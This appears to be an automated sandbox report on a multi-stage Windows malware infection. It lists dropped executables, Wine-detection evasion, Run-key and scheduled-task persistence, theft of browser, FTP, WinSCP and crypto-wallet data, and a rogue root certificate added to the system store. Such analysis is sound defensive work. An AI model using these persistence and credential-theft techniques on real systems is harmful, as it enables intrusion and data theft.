N/A N/A C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI62442\Blsvr.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\adada.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\ProgramData\eeia\ummo.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Microsoft\Windows\CurrentVersion\Run\57b802a7d7.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000020001\\57b802a7d7.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000\Software\Microsoft\Windows\CurrentVersion\Run\5337807864.exe = "C:\\Users\\Admin\\1000029002\\5337807864.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A

Checks installed software on the system

discovery

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Power Settings

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\powercfg.exe N/A
N/A N/A C:\Windows\System32\powercfg.exe N/A
N/A N/A C:\Windows\System32\powercfg.exe N/A
N/A N/A C:\Windows\System32\cmd.exe N/A
N/A N/A C:\Windows\System32\powercfg.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\axplong.job C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
File created C:\Windows\Tasks\Test Task17.job C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
File created C:\Windows\Tasks\explorti.job C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
File opened for modification C:\Windows\SystemTemp C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Browser Information Discovery

discovery

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\n7Gs36sXpC.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\PwvRO6hIoT.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\eeia\ummo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\1000029002\5337807864.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000020001\57b802a7d7.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3070649267-739947649-3250922198-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\028058e168.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
